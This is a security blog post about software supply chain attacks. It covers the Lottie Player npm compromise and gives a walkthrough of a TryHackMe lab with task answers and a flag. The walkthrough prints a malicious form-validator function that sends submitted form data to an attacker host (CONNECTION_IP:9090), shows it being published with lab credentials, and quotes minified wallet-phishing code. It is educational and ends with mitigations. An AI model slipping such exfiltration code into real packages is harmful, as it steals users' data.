hashtalks

A security engineer’s personal hashtalks. Blends cybersecurity, engineering and personal stories. It explores navigating the corporate world, pursuing passion, and escaping mental ruts. A candid reflection on balancing a demanding career while staying true to your why.

hashtalk 010: supply chain attack vulnerabilities and writeup for tryhackme’s Lottie room

h@shtalk
hashtalks
Published in
13 min readDec 3, 2024

--

Photo by Bernd 📷 Dittrich on Unsplash

Imagine you’re hosting a big party, and you ask a friend to bring snacks. Your friend, in turn, asks a different friend to buy the snacks for them. That second friend doesn’t like you very much and decides to slip in some bad snacks — maybe ones that make people feel sick. You wouldn’t know because you trust your first friend, who trusts the second friend.

This is kind of like a supply chain attack in cybersecurity. The attackers target the trusted connections (like third-party vendors or contractors) rather than going directly after the main target. They compromise something in the chain, like a software update or a service provider, and this weakness trickles down to affect the organization you’re really interested in.

Hors d’œuvre

In our hashtalk today:

  • What are Supply Chain Vulnerabilities
  • Practical example through Tryhackme’s Room Walkthrough

Supply Chain Vulnerabilities

A supply chain attack vulnerability, as you may have understood from the analogy before, refers to weaknesses or exploits within the supply chain of an organization, typically targeting its third-party vendors, software providers, or contractors. These vulnerabilities can allow attackers to compromise trusted systems and gain access to sensitive data or disrupt operations without directly targeting the primary organization itself. The concept encompasses both the hardware and software supply chains, as well as service providers involved in product development, distribution, and support.

Key types of supply chain attack vulnerabilities include:

  1. Software Dependency Vulnerabilities: Attackers may compromise software or libraries that the target organization depends on, injecting malicious code into legitimate software updates or components, such as in the SolarWinds attack (2020).
  2. Third-Party Vendor Access: Attackers may breach a third-party vendor with access to an organization’s network or data. Once they exploit the vendor’s vulnerabilities, they can move laterally into the primary organization’s environment.
  3. Hardware Compromise: Hardware components like routers, network devices, or IoT devices can be tampered with during manufacturing, embedding vulnerabilities that remain hidden until they are activated in the organization’s environment.
  4. Service Provider Breaches: Attackers may target service providers (cloud services, contractors, etc.) to gain indirect access to an organization’s systems. An example is when attackers compromise managed service providers to access multiple client networks simultaneously.

Supply Chain Attack: Lottie

Supply chain attacks are a rising threat in cyber security, targeting the trusted parts of software development. Instead of attacking a company directly, attackers go after third-party components like libraries, packages, or services that many applications rely on. These attacks are particularly dangerous because they can spread quickly to many applications and often remain unnoticed until significant damage is done. A simple example is downloading an update for your favourite software from the attacker-controlled domain.

A recent supply chain attack on Lottie Player was carried out using a developer’s compromised access token. The attacker’s main objective was to trick web users accessing a compromised player into connecting their crypto wallets so that they could steal funds.

Lottie Player Supply Chain Attack

The vulnerability stemmed from a compromised access token of a developer with privileged access to the Lottie Player npm package repository. This allowed attackers to publish malicious versions of the @lottiefiles/lottie-player package. These versions included code that triggered crypto prompts, enabling attackers to gain unauthorised access to users' cryptocurrency wallets (if the victim connected their original wallet).

Affected Versions

The malicious versions of the Lottie Player package were:

  • 2.05
  • 2.06
  • 2.07

Impact

If an application integrated any of the compromised versions, users could see unexpected prompts to connect their cryptocurrency wallets. Attackers exploited this access to steal funds from connected wallets. In one reported case, a user lost an estimated $723,000 (10 BTC) due to unauthorised wallet access.

Technical Explanation

A typical deployment scenario involves a developer pushing code to a version control system (e.g., Git), which then updates the NPM registry. The NPM registry subsequently pushes the package to CDNs, which are deployed globally to serve files efficiently to browsers and web applications, as illustrated below.

In the case of the LottieFiles incident, no updates were made to the Git repository. Instead, a compromised developer access token was used to publish a modified package @lottiefiles/lottie-player directly to NPM, which then propagated to CDNs, impacting end-users.

Execution of the script in a sandbox environment showed that once the user visits a page, it will show a popup, as shown below:

Note: Since the code modified by the attacker makes implicit calls to C2 and shares the user’s information, it is not advised to execute it in any internet-connected environment.

When users click on any wallet, it asks them to connect their digital wallet.

The vulnerable code makes a web socket connection to a domain castleservices01[.]com, which has previously been used in multiple crypto-phishing scams as well. The API call to the C2 server includes the auth key, user browser details and local IP for authentication/registration in the request parameters.

Below is the snippet of minified code added by the developer, which contains calls to crypto SDKs like wallet link, coin base, etc., which confirms that LottieFiles’ original code has been modified.

...
..
onClick:s},t))))}})),Em=u((e=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.CBW_MOBILE_DEEPLINK_URL=e.WALLETLINK_URL=e.CB_KEYS_URL=void 0,e.CB_KEYS_URL="https://keys.coinbase.com/connect",e.WALLETLINK_URL="https://www.walletlink.org",e.CBW_MOBILE_DEEPLINK_URL="https://go.cb-w.com/walletlink"})),Cm=u((e=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.WLMobileRelayUI=void 0;var t=_m(),r=Hp(),i=Em();e.WLMobileRelayUI=class{constructor(){this.attached=!1,this.redirectDialog=new t.RedirectDialog}attach(){if(this.attached)throw new Error("Coinbase Wallet SDK UI is already attached");this.redirectDialog.attach(),this.attached=!0}redirectToCoinbaseWallet(e){let t=new URL(i.CBW_MOBILE_DEEPLINK_URL);t.searchParams.append("redirect_url",(0,r.getLocation)().href),e&&t.searchParams.append("wl_url",e);let n=document.createElement("a");n.target="cbw-opener",n.href=t.href,n.rel="noreferrer noopener",n.click()}openCoinbaseWalletDeeplink(e){this.redirectDialog.present({title:"Redirecting to Coinbase Wallet...",buttonText:"Open",onButtonClick:()=>{this.redirectToCoinbaseWallet(e)}})
...
..

The above code is not easily detectable as malicious because it was served from a legitimate CDN service, which makes the supply chain attack particularly powerful, as it often goes unnoticed.

If you’re interested in examining the developer’s code changes, you can view the differences between the original files by Lottie Player and the ones modified by the attackers. Start by opening the terminal and navigating to the code directory using the command cd /home/ubuntu/Downloads/code. Then, issue the command kdiff3 lottie-player-2.04.min.js lottie-player-2.05.min.js, which will open a window showing the differences between the original file (2.04) and the one modified by the hacker (2.05), as shown below:

Note that the code has been minified and slightly encoded, making it harder for automated tools and security engineers to detect changes easily. This diff view helps in pinpointing specific modifications made to the code.

Task 1: Which of the following Lottie Player’s versions were vulnerable? Enter the correct option only.
a) 2.05
b) 2.04
c) 4.0
d) 5.0

2.05 is the correct option cause simple Google Search yields that 2.05, 2.06 and 2.07 were the compromised versions.

Task 2: What is the name of the C2 server used for registration/authentication? Use the Redacted/defanged version.

The vulnerable code makes a web socket connection to a domain castleservices01[.]com

How to Exploit

Understanding the Architecture

The architecture in this task revolves around a local npm registry, npm.thm, which functions as a central repository where developers can publish and share packages. This registry allows developers to download and reuse code, streamlining the development process and enabling code reuse across projects. By using a vulnerable package published to this internal registry, we’ll demonstrate how attackers can introduce malicious code into a trusted package, impacting web apps that rely on it.

For this task, we’re focusing on a developer named Mark, who created a form-validator package, which allows performing validation on HTML form-inputs automatically. So, instead of adding validation against each field one by one, a developer can use the package to link the form, which will add validation on all the fields present in the HTML form. This package is handy for any developer working with forms, as it reduces redundancy and ensures consistent validation. Once the packages are pushed to npm.thm, their browser-compatible file is pushed to cdn.npm.thm , so that it can be used by developers in their web apps.

Developers can easily install form-validator from npm.thm using a single command, directly integrating it into their projects. The registry interface, accessible by visiting npm.thm:4873 in the attached VM, allows users to browse available packages and see the latest versions and descriptions, as shown below:

Utilising the Package

A developer can use this package in HTML code for form validation. In the VM, you can browse to localhost:8080 and click “Submit” to test the package’s functionality. When you click Submit, the package will prompt you to complete all required fields before allowing submission, as shown below:

In Chrome, right-click on the page and select View Page Source to see the page source code. Alternatively, press Ctrl+U (Windows/Linux) or Cmd+Option+U (Mac). Once the view-source window is open, you will see that the code calls the bundled JS file for form-validator, as shown below:

Access to Repository

A bad actor can take control of a repository either through a vulnerability in the hosting provider or through social engineering. Once he gains control of the repository, he can update the packages and add malicious code, which will later be downloaded/integrated by the user base, thus exploiting the complete chain. Here are some common methods attackers might use to gain access:

  • Social Engineering: Tricking the repository owner into sharing sensitive information, like login credentials, through phishing or impersonation.
  • Token Leak: Exploiting exposed access tokens (e.g., found in code repositories, configuration files, or CI/CD logs) that grant publishing permissions.
  • Insider Threat: Gaining access through an insider who intentionally or unintentionally grants access to the attacker.

In the LottieFiles case study, we saw that the developer’s access token leaked, probably due to any of the abovementioned methods.

Time for Some Action

Imagine a scenario where a malicious actor gains access to developer Mark’s npm.thm credentials, allowing him to publish and update packages under his name. With this access, the attacker can modify the package's code, adding malicious behaviour affecting anyone who installs or updates the package.

Downloading the Original Package

The attacker’s first step is downloading the original form-validator package to review and alter its code. This can be done by visiting the package detail page on the npm.thm registry. Open the Chrome browser in the VM and navigate to http://npm.thm:4873/-/web/detail/form-validator (which may take 1-2 minutes to load). To download the package, click the "Download" option to get the .tgz file containing the form-validator code.

You might see a “Download blocked” message when downloading the file in Chrome. If this happens, look for the warning message at the bottom of the Chrome window. Select “Keep” to allow the download to proceed, as shown below:

The file will be downloaded in the /home/ubuntu/Downloads folder. After downloading, extract the .tgz file, which will unpack the contents into a directory, named package, containing package.json and index.js.

Adding Malicious Code to the Package

With access to the source code, the attacker can now inject malicious functionality. The goal is to add code that captures and sends all submitted form data to an attacker’s server on any IP address.

Open the index.js file in the package directory and replace the existing code with the following code that sends form data to CONNECTION_IP:9090 as part of the validateForm function:

module.exports = function validateForm(formData) {
const errors = [];
    Object.keys(formData).forEach(field => {
if (!formData[field]) {
errors.push(`${field} cannot be empty`);
}
});
if (formData.email && !/\S+@\S+\.\S+/.test(formData.email)) {
errors.push("Invalid email format");
}
const queryParams = new URLSearchParams(formData).toString(); fetch(`http://CONNECTION_IP:9090/collect?${queryParams}`)
.catch(error => console.log("Failed to send data:", error));
return errors.length ? errors : "Form is valid!";
};
module.exports = function validateForm(formData) {
const errors = [];
Object.keys(formData).forEach(field => {
if (!formData[field]) {
errors.push(`${field} cannot be empty`);
}
});
if (formData.email && !/\S+@\S+\.\S+/.test(formData.email)) {
errors.push("Invalid email format");
}
const queryParams = new URLSearchParams(formData).toString();
fetch(`http://CONNECTION_IP:9090/collect?${queryParams}`)
.catch(error => console.log("Failed to send data:", error));
return errors.length ? errors : "Form is valid!";
};

Moreover, open the package.json file and update the version from 1.0.0 to 1.1.0 to reflect the new (malicious) version as shown below:

{
"name": "form-validator",
"version": "1.1.0",
"description": "A simple package to validate form fields",
"main": "index.js",
"scripts": {},
"keywords": ["validation", "form", "validator"],
"author": "THM Package",
"license": "MIT"
}

Publishing the Changes

With the malicious changes made, the attacker can now publish the updated package back to the npm.thm registry. Open the terminal and navigate to the directory where the updated code is stored (~/Downloads/package in this case). Use the command npm login --registry http://npm.thm:4873 to log in to the registry with Mark’s credentials. Enter the username mark and password mark123 when prompted. If successful, you will receive the following message:

ubuntu@tryhackme:~/Downloads/package$ npm login --registry http://npm.thm:4873
npm notice Log in on http://npm.thm:4873/
Username: mark
Password:
Logged in on http://npm.thm:4873/.

Next, issue the command npm publish --registry http://npm.thm:4873, which will publish version 1.1.0 of form-validator to npm.thm, making the malicious code available to any user who installs or updates the package from this registry.

ubuntu@tryhackme:~/Downloads/package$ npm publish --registry http://npm.thm:4873
npm notice
npm notice 📦 form-validator@1.1.0
npm notice Tarball Contents
npm notice 1.5kB index.js
npm notice 267B package.json
npm notice Tarball Details
npm notice name: form-validator
npm notice version: 1.1.0
npm notice filename: form-validator-1.1.0.tgz
npm notice package size: 687 B
npm notice unpacked size: 1.8 kB
npm notice shasum: 1402a9dbe347d2cdab8bce095bfd150ca0eaec3f
npm notice integrity: sha512-4gOK3PIDP3zH+[...]Jbj/WicEIMhTA==
npm notice total files: 2
npm notice
npm notice Publishing to http://npm.thm:4873/ with tag latest and default access
+ form-validator@1.1.0

Note: Normally, pushing the package from npm to the CDN is automated; however, to keep the attacker VM lightweight and less resource-intensive, you can manually initiate this process by visiting http://10.10.93.242:8080/pushtoCDN.php once the malicious package is uploaded.

Configuring the Attacker Machine

On the AttackBox, start a Python listener by issuing the command python3 -m http.server 9090. In the attached VM, visit the same URL localhost:8080 to check the package's functionality. Please ensure to perform a hard refresh on the page to load the latest bundle.js. You can do this by pressing Ctrl+R (Windows/Linux) or Command+R (Mac).

Enter the value hello in the username and click on Submit.

Navigate to the AttackBox, where you have set the Python listener. You will receive the entered form data in the server as shown below:

root@tryhackme$ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
10.10.1.196 - - [07/Nov/2024 09:02:49] code 404, message File not found
10.10.1.196 - - [07/Nov/2024 09:02:49] "GET /collect?name=hello&email= HTTP/1.1" 404 -

This is it; the important thing to note here is that neither the developer nor anyone using the package would know it has been compromised, as the package still performs its intended functionality perfectly.

Task 1: Per the above code, what updated package version does the attacker push on npm.thm?

Correct Answer: 1.1.0

Task 2: What is the port number on which the attacker will receive data?

Correct Answer: 9090, from the code

Task 3: What is the name of the form validator JS file being fetched from the CDN?

Correct Answer: form-validator.bundle.js, which we can get from the CDN page

Task 4: What is the flag value after uploading the package v1.1.0? Visit the flag validator page to get the flag.

Correct Answer: THM{MALICIOUS_PACKAGE_UPLOADED007}

Detection and Mitigation

In the previous task, we examined how attackers can exploit a supply chain vulnerability by injecting malicious code into a trusted package. These attacks are difficult to identify since legitimate updates to third-party dependencies are common in development workflows.

Mitigation Techniques

To detect signs of supply chain attacks, we can leverage a SIEM solution to monitor logs for suspicious activity, such as unexpected calls to services like cryptocurrency wallet connections in web traffic logs. In this case, block any call to the domain castleservices01[.]com, widely used in crypto-phishing attacks. Additional steps include:

  • Monitor Web Logs: Check for unusual or unauthorised requests from third-party libraries, particularly calls to external domains or unexpected endpoints. It is also possible that the supply chain attack resulting through a JS file may not leave any track on the server logs.
  • Track Package Changes: Keep logs of package version changes and note any updates to popular libraries (e.g., @lottiefiles/lottie-player), and compare version histories with official release notes.
  • Set Up Alerts for Suspicious Activity: Use automated alerts for unexpected behaviour, such as connection attempts to cryptocurrency services, which may indicate supply chain compromise.
  • Limit Access and Permissions: Restrict access tokens and credentials for publishing packages, enforce two-factor authentication, and rotate tokens periodically.
  • Use Verified Sources: Rely on official package registries or internal mirrors that only host vetted libraries, reducing the risk of supply chain compromise from rogue repositories.
  • Implement Dependency Controls: Deploy dependency monitoring tools to detect code changes introduced due to malicious package updates. You can learn more about this here.

Adopting these mitigation measures strengthens defences against supply chain attacks, minimising the risks associated with third-party dependencies.

Let’s keep in touch

I’d always be willing to discuss more, exchange ideas and continue the hash talk.

--

--

hashtalks
hashtalks

Published in hashtalks

A security engineer’s personal hashtalks. Blends cybersecurity, engineering and personal stories. It explores navigating the corporate world, pursuing passion, and escaping mental ruts. A candid reflection on balancing a demanding career while staying true to your why.

h@shtalk
h@shtalk

Written by h@shtalk

security engineer, hacker, professional smart ass. breaking bad code and building better defenses. automating the mundane and yapping about it here.

No responses yet